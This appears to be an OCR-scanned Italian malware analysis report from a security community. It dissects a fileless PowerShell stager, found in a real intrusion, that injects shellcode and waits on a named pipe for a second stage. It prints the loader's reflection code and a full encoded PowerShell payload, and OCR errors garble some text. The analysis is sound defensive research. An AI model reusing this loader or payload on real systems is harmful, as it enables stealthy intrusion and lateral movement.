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Di seguito gli analisti che hanno preso parte alla redazione di questo report. Malware Forge rappresenta un’altra sotto-
O community della pit ampia community di Red Hot Cyber che si & specializzata nella ricerca e analisi dei malware. Un
laboratorio nato per approfondire le tecniche di attacco, svelare i meccanismi di infezione e studiare le evoluzioni del
panorama delle minacce informatiche. Qui, la passione per la cybersecurity incontra il rigore scientifico, dando vita a un
ambiente collaborativo in cui I'obiettivo principale € comprendere a fondo i software malevoli per trasformare la
conoscenza in uno strumento di difesa concreta. All'interno del laboratorio, i membri del team lavorano fianco a fianco,
condividendo competenze e metodologie avanzate per smontare e ricostruire i malware pezzo dopo pezzo. Ogni analisi
& un’occasione per contribuire alla crescita collettiva, producendo report tecnici e insight che non solo aiutano la
community, ma che rafforzano anche il tessuto della sicurezza digitale nazionale e internazionale.
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INTRO

All'inizio del 2025 un alert automatico rivela attivita anomala
all'interno dell'infrastruttura di una organizzazione italiana.
L’elemento pil eclatante & l'uso di secretsdump.py,
strumento tipico per I'estrazione di credenziali a livello di
dominio. Incrociando le telemetrie, emerge un dettaglio
interessate: mesi prima era stato installato l'interprete
Python su un Domain Controller della rete aziendale,
aprendo la strada all'esecuzione dello script.

Gli attaccanti hanno avuto accesso ad una credenziale VPN
legittima, appartenente a un ex collaboratore. Niente
bruteforce, nessun exploit ma un semplice login diretto di
un account che doveva essere disabilitato in tempo. Pochi
minuti dopo I'accesso iniziale gli attaccanti hanno effettuato
processi di Privilege Escalation riuscendo ad ottenere alti
privilegi. Gli attaccanti sono rimasti all'interno della rete per
diversi mesi (primi movimenti tracciati al mese di Marzo)
ma, dopo una serie di alert EDR, i processi di incident
Response sono riusciti ad intercettare le azioni degli attori
malevoli e a salvaguardare la rete interna.

Dopo aver ripristinato una specifica macchina nella rete
un‘altra serie di alert ha attirato nuovamente l'attenzione del
Blue Team che hanno ricominciato le operazioni di Incident
Response.

— MALWARE ANALYSIS STAGERSHELL

In questa seconda serie di indagini sono stati trovati due
artefatti PowerShell distinti sparsi all'interno delle macchine
presenti sulla rete interna. Gli script, offuscati e compressi,
decodificano ed iniettano in memoria una shellcode x86. ||
codice non esegue funzioni di rete, ma implementa un
meccanismo sofisticato: lettura diretta delle strutture di
sistema, hashing ROR13 dei nomi funzione ed una risoluzione
dinamica delle APl tramite PEB walking. Una tecnica di
loader fileless per il movimento laterale, utile a nascondere
le proprie tracce ed eludere metodi di detection tradizionale.
Dai sistemi centrali partono comandi che raggiungono altre
macchine interne tramite named pipe, senza bisogno di
nuovi login o accessi diretti. Le telemetrie EDR confermano
la presenza degli stessi script PowerShell su pit host,
coerenti con una strategia di lateral movement invisibile agli
strumenti meno avanzati.

Quello che vogliamo portare con questo mini-report & il
contributo della community RHC a tracciare gli strumenti
degli attaccanti su organizzazioni italiane per dare un'idea
tecnica, pragmatica e valutabile delle minacce odierne.
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ANALISI STATICA - SCRIPT 1
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Il primo script si presenta in una forma comune con un
semplice encoding base64 seguito da una decompressione
GZip, il tutto avviene in memoria senza lasciare traccia su
disco. Nonostante i flag PowerShell non siano nulla di
complicato proponiamo una descrizione di quest'ultimi per
permettere la comprensione anche ai non tecnici :

e -nop (abbreviazione di NoProfile): Impedisce il
caricamento del profilo di PowerShell dell'utente
corrente. Questo velocizza |'esecuzione del comando e
previene eventuali log o modifiche che potrebbero
essere presenti nel profilo

e -w hidden (abbreviazione di WindowStyle Hidden):
Awvia la finestra di PowerShell in modalita nascosta.
L'utente non si accorge dell'esecuzione del comando, il
che & un comportamento tipico dei malware.

e -encodedcommand: Dice a PowerShell che il
comando che segue & codificato in Base64. Questo &
un metodo comune per nascondere comandi dannosi
e superare le restrizioni di lunghezza delle stringhe.

e $s=New-Object
10.MemoryStream(,[Convert]::FromBase64String("..."))

: Crea un oggetto in memoria chiamato $s. Il contenuto
di questo oggetto ¢ il risultato della decodifica della
stringa Base64.

e New-Object 10.Compression.GzipStream(...):
Decomprime i dati contenuti nello stream dell’'oggetto
$s, che erano stati compressi con |'algoritmo Czip.

e New-Object 10.StreamReader(...): Legge il contenuto
decompresso come una stringa di testo.
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e .ReadToEnd(): Legge l'intera stringa generata.

e |EX (abbreviazione di Invoke-Expression): Esegue la stringa di testo come un comando PowerShell.

Unendo tutti i comandi otteniamo la seguente logica Stringa Base64 > Decodifica in un array di byte >
Decompressione con Gzip > Lettura della stringa risultante > Esecuzione del codice.

Questa tecnica & un metodo avanzato di evasione, spesso usato nei framework di post-exploitation (come
Meterpreter di Metasploit) per caricare payload in memoria senza toccare il disco rendendo pit difficile I'analisi
da parte degli antivirus. Il contenuto effettivo del payload interno (quello che viene eseguito) & sconosciuto senza
decodificare l'intera stringa Base64 e decomprimerla. Inoltre il contenuto che viene eseguito viene protetto da
scan statiche grazie ai diversi livelli di obfuscation.

Il primo passo é stato ottenere il plaintext della stringa base64+GZip con un semplice comando da shell Linux
per eseguire la logica di deobfuscation.

echo “[BASE64_STRING]” | base64 --decode | gunzip

I risultato finale (prossima slide) & I'effettivo codice PowerShell che viene eseguito dalla macchina contenente lo
shellcode finale da eseguire protetto tramite Base64+XOR.
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Il byte-array $v_code contiene lo shellcode (base64+XOR) che deve essere eseguito. Prima di addentrarci nello shellcode dobbiamo

comprendere le due funzioni iniziali fondamentali (func_get proc_address e func_get delegate type) per 'evasion del loader e
'esecuzione del codice malevolo. Notare come lo script PowerShell utilizza subito Set-StrictMode -Version 2 che forza la creazione

di un processo a 32 BIT per mantenere compatibilita con lo shellcode.
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func_get proc_address I O
— — — CIRRES (& &=
Questa funzione PS viene usata dal loader per ottenere l'indirizzo di memoria (dello stesso processo) di una specifica funzione contenutain 2% // | s
NTDLL.DLL (DLL contenente funzioni di base Windows caricata automaticamente nella memoria di ogni nuovo processo). La funzione N D =9 - & &\
dichiarata richiede solamente due parametri : ;l? 7 N S
- . ,4-,'\/",
e $var module Il nome del modulo (DLL) nella quale ricercare la funzione di riferimento (eg:/ NTDLL.DLL). 2 - Sl
e $var_procedure : La funzione di riferimento la quale trovare I'indirizzo di memoria. ':/f, > NS

Ora possiamo dividere in macro parti la funzione ed analizzare il suo comportamento.

$var _unsafe native methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $ .GlobalAssemblyCache -
And $ .Location.Split('\\')[-1].Equals('System.dll"') }).GetType('Microsoft.Win32.UnsafeNativeMethods")

1) [AppDomain]::CurrentDomain.GetAssemblies() : Ottenimento degli assemblies caricati in memoria nella applicazione in essere

2) | Where-Object { $_.GlobalAssemblyCache : Filtra gli assemblies ottenendo solo quelli standard...

3) And $_.Location.Split(*\\')[-1].Equals('System.d11l") }) : ..ed infine ottenere specificatamente System.dl1

4) .GetType('Microsoft.Win32.UnsafeNativeMethods') : Ottenimento riferimento della classe UnsafeNativeMethods contenente
metodi .NET per chiamate ad APl Windows native.

Il riferimento finale viene salvato nella variabile $var_unsafe_native methods per poter essere riutilizzata piu avanti nella esecuzione.
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func_get_proc_address

La linea successiva serve per la creazione della seguente variabile :

$var_gpa = $var_unsafe native methods.GetMethod('GetProcAddress', [Type[]]
@('System.Runtime.InteropServices.HandleRef', 'string'))

Tramite il riferimento precedentemente individuato ($var_unsafe_native methods) viene usata la reflection
(.GetMethod) per ottenere un ulteriore riferimento. Cli argomenti di . GetMethod sono i seguenti :

1) ‘GetProcAddress' : Nome della funzione dalla quale ottenere il riferimento che verra poi salvato nella variabile
$var_gpa.

1) [Type[]l] @( System.Runtime.InteropServices.HandleRef"', ‘string': La signature della funzione sopra
citata (che puo essere verificato nella )

La variabile $var_gpa conterra quindi la funzione GetProcAddress comunemente utilizzata per applicazioni

Windows per ottenere indirizzi di memoria di APl contenute all'interno di librerie caricate nella memoria del
processo.
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func_get_proc_address

Questa prima funzione si conclude con la seguente linea di codice il quale risultato viene usato come valore di
ritorno :

return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_m
odule)))), $var procedure))

. Invoke viene utilizzato per chiamare un metodo ottenuto tramite reflection e contiene 3 parametri :

1) L'istanza del metodo da chiamare, visto che GetProcAddress &€ un metodo statico viene utilizzato $null

2) Array (@([...])) contenente i parametri da usare con GetProcAddress, possiamo vedere come la prima parte
riutilizza la reflection per chiamare ed ottenere un handle (HandleRef) al modulo
specificato nel parametro $var_module. || secondo parametro presente nell'array é la (seconda) variabile
globale $var_procedure.

L'intera funzione func_get _proc_address non € altro che una implementazione personalizzata di GetProcAddress,
successivamente vedremo perché questa scelta nel design del loader e come aiuta il bypass delle scansioni e delle
difese.
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func_get_delegate_type

La seconda funzione da analizzare (func_get_delegate type) e stata designata per essere usata assieme a
func_get _proc_address per poter “interpretare” correttamente l'indirizzo di memoria estratto e usare I'API senza gli import
tradizionali. | parametri sono i seguenti :

Param (
[Parameter(Position
[Parameter(Position

@, Mandatory = $True)] [Type[]] $var_parameters,
1)] [Type] $var_return_type = [Void]

1) [Type[]l] $var_parameters : Array di oggetti .NET types che definiscono i parametri della API che si vuole utilizzare
2) [Type] $var return type = [Void] : Valore di ritorno della funzione che si vuole chiamare (di default settato a Void)

Il primo step della funzione serve per popolare la funzione $var_type builder con la seguente riga di codice per la creazione
di assembly in memoria evitando di toccare disco:
[AppDomain]: :CurrentDomain.DefineDynamicAssembly([...])
| parametri sono :
e ((New-Object System.Reflection.AssemblyName( 'ReflectedDelegate')) : Creazione del container contenente

metadata del assembly, *ReflectedDelegate’ funge da semplice identificativo.

e [System.Reflection.Emit.AssemblyBuilderAccess]: :Run: Specificazione (enumeration) delle flag di sicurezza e di
funzionalita. Il valore scelto () indica che I'esecuzione deve avvenire nel dominio corrente.

— MALWARE ANALYSIS STAGERSHELL
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func_get_delegate_type

Continuando la stringa incontriamo .DefineDynamicModule( ' InMemoryModule®, $false) per la creazione di un nuovo
modulo nell’assembly (sempre in memoria grazie a $false), anche in questo caso ‘InMemoryModule® funge da semplice
identificativo.

La variabile $var type builder viene finalmente finalizzata con .DefineType( ‘MyDelegateType', 'Class, Public,

Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]). Grazie a questa aggiunta viene creata una classe
(*MyDelegateType') all'interno del modulo precedentemente creato.

Dopo che la variabile viene popolata con successo si passa alla definizione del costruttore per questo nuovo tipo delegato
grazie a .DefineConstructor. In questa fase viene inserito I'array usato come parametro globale $var_parameters:

$var_type builder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $var_ parameters)

In questo modo il tipo delegato prende forma (la signature) della API che si vuole eseguire tramite Invoke. A questo segue

.SetImplementationFlags('Runtime, Managed'), 'unione di questi flag specifica che I'implementazione della funzione viene

fornita runtime (Runtime) e di non utilizzare il CIL (Common Intermediate Language) per |'esecuzione (Managed).

Infine grazie al valore di ritorno return $var_type builder.CreateType() genera il tipo delegato creato come voluto e
restituendo 'oggetto System.Type per rappresentarlo al di fuori della funzione.
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ANALISI SHELLCODE

Lo shellcode (codificato in Base64) da eseguire, come detto in precedenza, viene protetto da un semplice XOR a chiave 35. Di

seguito lo snippet specifico responsabile dell'ottenimento della versione raw. Possiamo notare la chiave usata sia 35.
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Per poter ottenere una versione da poter analizzare abbiamo creato un piccolo script in python che gestira il Base64+XOR e ci
produrra una versione analizzabile (.bin).

Uno shellcode di questo tipo viene definito come position-independent e pud essere usato in qualsiasi localita di memoria senza
ulteriori modifiche. Dopo un ibrido di analisi statica e dinamica siamo riusciti a ri-costruire il comportamento.

1- PEB WALKING

Il PEB walking & una tecnica per chiamata ad API evitando red flag comunemente segnalate da AV/EDR. Una red flag comune € la
stringa di codice GetProcAddress(GetModuleHandle(“Kernel32.d1l”), “VirtualAlloc”), Per evitare la detection e proteggersi dalle
analisi gli sviluppatori di malware devono riuscire ad eseguire le APl in maniera differente e creativa.

>

RED HOT CYBER - DARKLAE — MALWARE ANALYSIS STAGERSHELL PAGINA : 17


https://red4mber.github.io/posts/hells-gate/

A
RedHot [ Cyber

La sezione PEB all'interno dei processi Windows permette di raggiungere una linked-list contenente tutte le DLL caricate in — A 2 p {
memoria permettendo di leggerne il contenuto senza doversi affidare ad APl come GetModuleHandle. Una volta visitati i nodi e /1\\\ N
trovata la DLL alla quale si vuole accedere si pud attraversare la memoria del modulo e leggere gli indirizzi di ogni funzione P A ‘ \ —
controllandone il nome con quella che si vuole ottenere. In aggiunta viene implementato un sistema di hashing per evitare di J - )
lasciare traccia con stringhe (eg:/ VirtualAlloc) presenti nelle blacklist di AV/EDR, invece che fare un match diretto sulle stringhe N, y i
viene fatto su un hash pre-computato e comparato con I'hash di ogni API nell’iterazione all'interno della memoria del modulo. Nel e b \
caso di questo loader viene utilizzato I'algoritmo ROR13. Questa funzione verra utilizzato nellintero shellcode per risoluzione ed ‘.
uso delle APl successive. L'esecuzione avviene tramite chiamata al registro PEB preceduta dal comando PUSH [ROR13_STRING]. & VLS
\\;\\ :\\\\
, \\\ %

oy
f
x“

PEB_LDR_DATA_ENTRY PEB_LDR_DATA_ENTRY PEB_LDR_DATA_ENTRY .
*—_

Blink Blink ®
InMemoryOrderLinks InMemoryCrderLinks InMemoryCrderLinks .

PEE LDR DATA X ! (
|

InMemoryOrderModuleList

IninitializationOrderModuleList

IninitializationCrderLinks InInitializationOrderLinks IninitializationOrderLinks

DlBase DlBase DlBase

BaseDliName {program.exe) BaseDlIName (ntdil.dll) BaseDliName (kernel32.dll)
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2 - STAGER

Finalmente possiamo osservare la logica finale che gli attaccanti volevano ottenere per poter eseguire lateral movement all'interno
della rete. Il resto dello shellcode esegue questi passi per ottenere RCE sulle workstation infette dall'intero powershell :

e PUSH Oxe553a458 -> CALL EBP

Oxe553a458 ¢ la versione ROR13 di VirtualAlloc, lo shellcode alloca un buffer di memoria eseguibile nella quale verra posto

il codice
che ricevera successivamente.

e PUSH 0xd4df7045 -> CALL EBP

Esecuzione di CreateNamedPipeA, analizzando meglio lo shellcode notiamo che la pipe creata viene identificata con
\\.\pipe\halfduplex_5f. L'uso di Named Pipes & noto per il movimento laterale all'interno delle reti permettendo di far passare
traffico
tra macchine nella stessa rete privata.

e PUSH Oxe27d6f28 -> CALL EBP

Esecuzione di ConnectNamedPipe, lo stager si mette in ascolto sulla Named Pipe appena creata in attesa di connessioni.

— MALWARE ANALYSIS STAGERSHELL
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e PUSH Oxbb5f9ead -> CALL EBP L B = 3
wll .. ) Y- =2 \EFF L\
Dopo aver ricevuto una connessione nella Named Pipe lo stager esegue ReadFile per leggere il contenuto del traffico, in v Iy 5 B 7
questo caso ~ | N &
sara il second-stage (eg:/ beacon Cobalt Strike, meterpeter, malware custom). >\ AN
= . 5
e PUSH 0x529796¢6 -> CALL EBP \

Il contenuto della pipe viene scritto nella memoria allocata in precedenza ed eseguito tramite CreateThread, I'esecuzione

avviene su un
thread separato in background.

L'intero shellcode serve come preparazione per un second-stage che non viene salvato in memoria e di fatto perso una volta
spenta la macchina (o sovrascritta da altri processi), non avendo a disposizione ulteriori artefatti a riguardo non siamo riusciti a
comprendere quale tipo di traffico sia stato contenuto nella Named Pipe creata dallo shellcode.
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func_get proc_address

N @5
SN
func_get _delegate_type S AN
— — —_— -
- }
. . . . . . . . . N ‘ N/ L[/
Ora che abbiamo chiarito le differenti componenti contenute nello script PowerShell vediamo come vengono unite tra di loro per ottenere y 2 —
un’esecuzione pulita e stealth. N \
-~ \\ ~ -
[...] N N \\ \

( AN > \§
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get proc_address = N N _[
kernel32.d1l1l VirtualAlloc), (func_get delegate type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) L N~ ,,v'\

¢ N
[...] ;

La nuova variabile $var_va utilizza la funzione func_get proc_address per ottenere dal module kernel32.dll I'indirizzo della funzione
VirtualAlloc. Questo indirizzo viene utilizzato come primo parametro di GetDelegateForFunctionPointer che viene utilizzato per
interpretare indirizzi di memoria (primo parametro) assieme alla loro signature come secondo parametro (ottenuta grazie a

func_get delegate type). Possiamo notare come la signature sia consistente con I’API VirtualAlloc che si trova all'interno di
Kernel32.dll, in questo modo puo essere utilizzata all'interno del codice senza fare chiamate esplicite come [DLLImport].

In breve, la variabile $var_va non contiene semplicemente il necessario per fare una chiamata VirtualAlloc ma un puntatore che puo
essere utilizzato per I'esecuzione diretta della funzione stessa.
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func_get_proc_address
func_get_delegate_type

Ora che la funzione personalizzata & stata gestita correttamente lo script crea una ulteriore variabile chiamata $var_buffer, Non &
altro che una chiamata con la versione personalizzata di VirtualAlloc, possiamo notare che il contenuto dello shellcode ($v_code)

viene correttamente scritta ([System.Runtime.InteropServices.Marshal]: :Copy) all'interno della memoria virtuale appena

Creata.

GetDelegateForFunctionPointer viene nuovamente utilizzato ma puntando verso la regione di memoria appena scritta, questo
riferimento viene salvato nella variabile $var_runme per poi eseguire lo shellcode tramite (. Invoke).

RED HOT CYBER - DARKLAE — MALWARE ANALYSIS STAGERSHELL
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L'intera codice appena analizzato viene salvato come stringa multilinea e salvata nella variabile $makeitso. Prima di essere eseguita

grazie alla keyword IEX lo script controlla che il processo sia a 32-BIT grazie al check If ([IntPtr]::size -eq 8).In caso

positivo esegue la serie di comandi per eseguire lo shellcode, in caso negativo forza I'esecuzione in una architettura 32-BIT grazie al

flag =RunAs32.
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Il secondo script PowerShell si presente sotto una forma diversa ma con lo stesso identico funzionamento, possiamo notare la sola
presenza di una stringa Base64 senza nessun richiamo a decompressione come lo script precedente.

powershell -nop -w hidden -encodedcommand
JABzADOATgB1AHCALQBPAGIAagBl1AGMAdAAGAEKATWAUAEOAZQBEAGBACEBSAFMAdABYAGUAYQBTACEALABDAEMAbWBUAHYAZQBYAHQAXQA6ADOAREBYAGBAbBQBCAGEACWBIADYANABTAHQACEBPAGAAZWAOACT
ASAAGAHMASQBBAEEAQQBBAEEAQQBBAEEALWA2ADEAVWBiAFgAUABhAESAQEBEACSASABIADYARgBQAGOAVABHADKAQABRAGBAQWBXAGSAYQB1AHAATWBaADgAbwAGADUASQBEAFEAbQBLAFMAMQBSAECAQWBIAE
wAeABDAEEAcwBrAEcAUQBUADAALWBhACS8AMWA4AHTIAWQBLAGIAMABTAGQANQAYADUAeQB3AHCAVABXAGQACABKAFAAZgB2AG8AVWBhADAAYWBXAGCACQBPAEUAagA1AFIAZgB1ADUAUWBWAEWAQQBUAFEAdgBVA
DgAUQBPAGUANQAzAE8AawBhAHIANgBpAHYASgBFAGYAWAA2AEWAMgBSADgAOABLAEEASWBMADIAawBCADCATQBGAFYAYgBPAEAANABHAFMARWBYAFYAZABRAESAZABIAFgAMwWBNAGSAUQBDADcAeABHADUAbQBt
AEUAeABXAHOATgAzAFoARABSAFAARQBVACSAdABDAEYAMQBRADAARWBOAGSANQBQAGMAUWBUAEKAVgBCAGgASgA3AGQAQgBaAGCANQBVAGQAMABOAHEAY gBXAGCAYgBzAFMATgBgAEKAbgAXAGMAMEBtAHCAZAB
mAFKARAA2AGIAdgAzAHQAVgBEAEKAVWBpAGCARABOAC8AREBOAGWAVEBWAE SAZQBsADYAegBUAHCACQBUAFEAdAASAFEAeAAAAGYACQBLAEMARgBTACS8AbQBTAEUAbwBXACSAbwBOAE4ANEBzAGMAMWAGAEEATA
BQAFUATABLADUAagA4AGcAQgBKAFYAUQBOAFgAcgAVAFUANAB3AFQACQBEAG8ACgBOAGEAdgBgAESATgBMADEAOABNAGEAMQBIADQAbQBAAGEAY gAYy AHEAQQB6AGEAUgBWAESATABCAFYAZABGADEAMWBHAEQAQ
QBOADKAdAAVAFMARWBVADMAaABEAFQAYQBQAHYARQA4AEUAbAASADEAVABAAG8AeAArAFUAegAOAHQAMWBDAGYACABCAEEACgAIAC8AdwBHADUAWQBhAF cAYQBMAEQAWQBZADgAWABrADUAUWBS AHOAMWABGAGOA
QQBZAE@AaAAAAEIATgASAGMAQWBOAGSAVQBjAFQAdgBKkADkAawBPAGSAWAB2AGA4AOQBEAGMAaABVAEgAeQAXADcAUgBVAETIANABVAE sAdgBUAE cAbwBpAEgAeABDAF0AYgBHAEQAQQALIAGYAUEBXACSACQBCAGO
AeQBIAGgAQwWBIAE8ARgBZAFEARQBIAFEAVEBVAGS8AQQBWAFIAAABBAGIAKwWBIAHIANgBOADUARWBVAFMATQA1AFMASABIADUASABMAGOAVABZzADAAQgAZAF cAWABrAC8ACQA2AFQAZQBLAHCARQBWAGSATQBSAH
TASAB5AHEA2aQBKACsAaABVADUALwWBVADUAQABBAE8AMAB2AGSARgAVAFoARWAGAEWAUABGADcAUgBXAEIAVWA3AGAAdgB1AECcAYQBTADYAbABOAEUAREBWAGAAUWBTAGCATEA4AGOACEBLAFOATWBUAGKAYgBKA
GSARQBJACSANQBWAETIATABQAC8SARWA3AFIAcCQBVADgANgBNAEOASQBYAEWAaQBIADKAWABHAE8AUgBFAGKAdAA2AFKALWB6AESAVWB5AGIAZQBjAHIAOABpADQASABPAEOACQAVAFUANQAZAEEAOABCAHgAegBY
AGEASABMAFAAZgBYAGUAYQBPADcARgB5AHEAWABYADAALWBHAHCAZQArAHMAeQBSAFEACQArACSAWABBADAATEA2AHYAawBCAGIAYWBRAETIAWAB2AHMAawBFADcAegA1ADMASEBSAFIAagASAECARQBGADIASEB
tAE4AZWBDAGMACABWAEUAdQBVAEWAZQBSAHMAbQBOAGSAUQBpAGUALWB1AGOAWABYAHYAbgByAHKkAcgBSADMAQQBWAFEAbQBjAHUAdwBSAFUASQBBAG4ACgBaAHOAQWBIAE@AegBRAE4AATWArAGOAVABOAGYAQE
AzACsAQQBhAFoAbgBuAHAAUQBaAGOAUWB6AFQAawBzAHIAegBUAGIAWAAZADEACgBMAGQAWQBhAGwWAegBLAE4AaABDAEEAVgBPADEACWBpAGEAbQBGAEUAMWBGADYACQBCADKATgBPAGWAYQBXAGEANABNAGOAU
gArAHcATWAYAEgAVABQAGSARQBTADUAVWBGAGOAMQBYAFAAVQBKAHAAdQBYAGUAYWBCAFYARQBAAEKANABIAFMAQgBOAHAARWB6AG8AYWBUAEgAVABMAE8AUWBSAHEAMWBMAHAAYgBYAF kAOABSAGMAWEBCAESA
TgBaAFQAdQBXAFKATQBTAGCANQBpAEIAVABCAGOAYWBDAEOANQBzAEOAUEBXAGOAUABDAHOAZgASAGQASAAXAGIAUgBVAGMACABIAGIAeABOAGQAZWAZAFYAeQBDADCAVQBZAF gAcwBDAGQAawAXAF0AVQBIAGO
AZQA4AG8ASWA3AHgARAA3ZAEMAegBPAGoAawBVAGEAZQBZAHEASQArAGsASQBOAEEAagBBAFkAVgB6AGWAMABiIADAAdgBGAE4AeABYAF IAdgAOAF gANABmADAAMWB1IAEQAOQBMAEOGAVAAVAEIAcgBBAHUAYQBIAH
EAUWBaAEYATwBLAGSARgBpAHQAZABMAHEAZgBSAGOATWBGADIAYwB2ADMARQBaAE@ASWBiAFUATQBCAFoAUWAVAEIAMQBEAFUAdAA2AGUAZQBFAGSAbAAIAGEACABSAESALWBDAHIAUgAzZADMAbAB4ADgAdQBSA
GIAcwBaAHQAVABYAGIAVABUAE@ARQB2AHcAaAArADUAVWAYAHIAMgB1AHQAMQBiAHOAZQAXADIAeAA1AHAAQABgAGYARABUAHEAbgByADIAUgArAHUARWBOAGYAaABMAHIAVABEAFUAYQAXAFUAYgBWAFgAQQBi
AHIAOQBOAE4AegAWADCAdQB1AECcAZgB6AHMATAAXAHgAWEBtADCACWBhAEOAQEB6AEOADQAZADIANAATIAHMAMEBGAE cAagAyAGoAbgBmADgAdABiAGWAdwBXACsAawBjAFEANWArAEgAKwWBhADCcACWAVAGAANQB
iAHIAMgBkAHQAMQBzAFgAbgBYAHYAWgAWAHYAWQBKAESANEBXADEAdAB2AFUASWBOACBAREBYAESANEBYAHOATAB2AGEAZABYAF cANgBDADIACwWA2ADKkAbwBNADMAdQBKAF IAMwAZzAHKASWA2 AHMACEBpAGEAZQ
BQAEOGAWgAVADMAcgASAHEAaABVAFAAdQBWADUASgBjADKAaQBFAEgACAA3AEKAbgAZAGYACQBNAGEANQBMAFUAMgAOAGQAeQBVADEAMABLAGYAdAA3AEgAWABDADCAJABLIAFAAQWBEAE CAVWALAGKACWBWAEWAT
ABWAFUAeQBXAFQAbgB3AHOANgBzAFoAZWBOADEAbwB4AHgANEBrADKATWB1AGUAZgBSADYAKWBIAEgACQBrAEUATgAZAHKAdwBjADCAdAAYAHUAZABXAHIAbABAADCACAB6AHQAMEBMAGIAOABMAEIAZQBIAFMA
MwBXAGoAbwBPADIARgArAEsARgBYACSANQBDADCcAYQB5AHYAYgBoAHCAUQBADCAZQBrAFEAagBtAHoAeAB6AEgAZgBYAFEAaABzAF cAZwBjAGYAeQBVAFAATQBYAGQAMWBaAEOALWBNAHgALWAWAE CANWBIADI
AOABCAHYAeQBRADgAcgBaADKAMQBZAE cAOABNAGWACgBjAEUAMQB1AGYAQQBPAGUAawAWADQAOQA3AEQALWBIAFEAUWBXAESANgB6AF cAaAAIADcAcgAzADEAQQBIAC8ASgBIAGYAWABAAGIATgBQAHAAaWBNAG
8AVWA3AEMAOABMAG8AbABVAHMAOABRAFUAagBLADYAZABSADgAMWBFAHgASABWAE8ASWB1AHUAegBVADKACWBNAGUARWB1AHEASgB1AFYATgA1ADMAUgBOAFgAUgBNADQAYgBOAEWAMEBTAHEAbWASAESAOQALA
DEANwWBOAGgAagBl1AEQAbgBYAFYAVWBOADAAJAA2ADYAWABSAEQASWAIAGUAWAAYAHQAZABIAFYAeABBAHAAOQBGAHYAOQBMAF gANwWBCADKASWBEAEEAbABNAGS8AMQBRADQAbwBCAHEAUWBZAFQATAASADYAWgEB1
AGSAcgBQAEYAMgBZAHCATQB3ADAANgBiAGgASABUADQAWAATAEKAdwBRAHIAdgASAEUAaQBUAE cAUQBhADQAUWBQAHgAdgBkAFQARgArAGwAagBIAETIAOABAAEEADABOAEMASgBZzAGAAdQBrAHgAVQBVAHIANWB
TAGQARAA3AGOACWBQADAAMWB6ACSAQwBiAFMAaQBIAHEAQQBNAGAAZWBMAHCAZWBNAGKACQBYADgAbwBZAEOANWBVAEQAdgBOAEMASWBVAE IAOABMAHUAdQBRAFUAY gBWAGSANWBHAEOAYgBQAG4AeAAXAFOANgE
BNAGsAUQAYAHQANABOAHAAMWBUAG8AZQBVAGOAWABTAEQAUABNAGOAbQBWAGOAKWBPADCAZABaADAAZWB2AC8AOABSAGCcAagB3AFKATAASAFoAQgBIAHAAYwBkAHKACQBWAFQAUWAVAHKAOQBLAFYAdQA3ADMAU
wBhAG4AegBUAF cAeQBtAHcAZgBLADYAUQB4ADYAaAArAEWARQBMAFMAMWBhAHgAVQBOADUAREBHAE sAegBwAC8AMABGADKAVAAXAHYAKWBPADYAbQBhAHQACQBUAEYAUABWAE cAVWBBAEgACQB1AESAUWBOAGAA
dgBNAC8AbABiAEEAOABKAHOAVQBOACSARAB3ADKASQB1AGSAVEBYAGKAZQBhAGSAdwBrAEKAVEBSAGAAdwBPAHIAOAAZAGSAKwWBGAF IAUABzAFkAWABzADUAaABpAGQAWQB2AFEAZABGAFMAQWASAHEAaQBSAGY
AdwA1AE4AVABMAEUASgASAGWANEBIAGYAcgArAGgAdgBhAEKAZgASAGCALWBNADMAZABFAHMASgBoAFYAZABRAGSAYwWB2AG4AbwBGAEUASWBiAFYARWBIAFQAdwBKAGWARABQAEQALWBGADAACWBCAFgAZgBPAG
UAQWB3AEEAQQAiIACKAKQA7AEKARQBYACAAKABOAGUAdwWATAE8AYEBgAGUAYWBOACAASQBPACAAUWBOAHIAZQBhAGOAUEB1AGEAZABIAHIAKABOAGUAdWATAESAYEBGAGUAYWBOACAASQBPACAAQWBVAGOACABYA
GUAcwBzAGKkAbwBUAC4ARWB6AGKACABTAHQACgB1AGEAbQACACQACWASAF SASQBPAC4AQWBVAGOACABYAGUACWBZzAGKAbwBUACA4AQWBVAGOACABYAGUACWBzAGKAbwBUAEGAbWBKAGUAXQA6ADOARABIAGMAbwBt
AHAAcgB1AHMACWAPACKAKQAUAFIAZQBhAGQAVABVAEUAbgBKACEAKQA7AAOA
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Dopo dei primi tentativi di deobfuscation abbiamo facilmente capito che il contenuto era formattato in UTF16 richiedendo un leggero
cambiamento al comando Linux usato per il primo script per poter ottenere il contenuto deobfuscato con usccesso.

Da questo otteniamo un qualcosa di simile visto in precedenza, ora possiamo notare nuovamente l'uso della decompressione GZip su una
ulteriore stringa Base64. Una volta eseguita la seconda catena di deobfuscation si ottiene lo stesso script analizzato in precedenza.
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L'analisi dinamica & stata eseguita sul secondo stadio del secondo script utilizzando la piattaforma any.run. La scelta é stata dettata dal . & "'

fatto che, nella nostra sandbox, il primo script non & riuscito a eseguire correttamente il comando di decompressione Gzip, impedendo X ‘ s

il corretto avvio della catena di infezione. e 2 4

Dalla catena di attacco possiamo vedere che viene eseguito il bat, in seguito viene deofuscato ed eseguito il comando presente B /)’ {
P\ » ~

all'interno che ne decodifica un secondo payload che infine lancia la shellcode.

=11

L conhost.exe
,-/r k no sp =

Possiamo identificare alcune tecniche (e sottotecniche) identificate nella matrice MITRE ATT&CK, che riportiamo di seguito:

T1059.001 PowerShell - Esecuzione di comandi:
Questa tecnica € usata per eseguire comandi e script tramite PowerShell. Il processo si concentra sull'evasione e sul mascheramento

delle attivita:
Awvvio di POWERSHELL.EXE per eseguire comandi.
Bypass del profilo: Il processo salta il caricamento delle impostazioni di profilo di PowerShell.
Mascheramento: Viene nascosto il banner di copyright all'avvio per evitare di essere notati.
Bypass della policy di esecuzione: Esegue script senza il controllo delle policy di sicurezza.
Offuscamento: Viene rilevato I'uso di comandi PowerShell codificati in Base64.

T1132.002 Non-Standard Encoding - Codifica non standard:
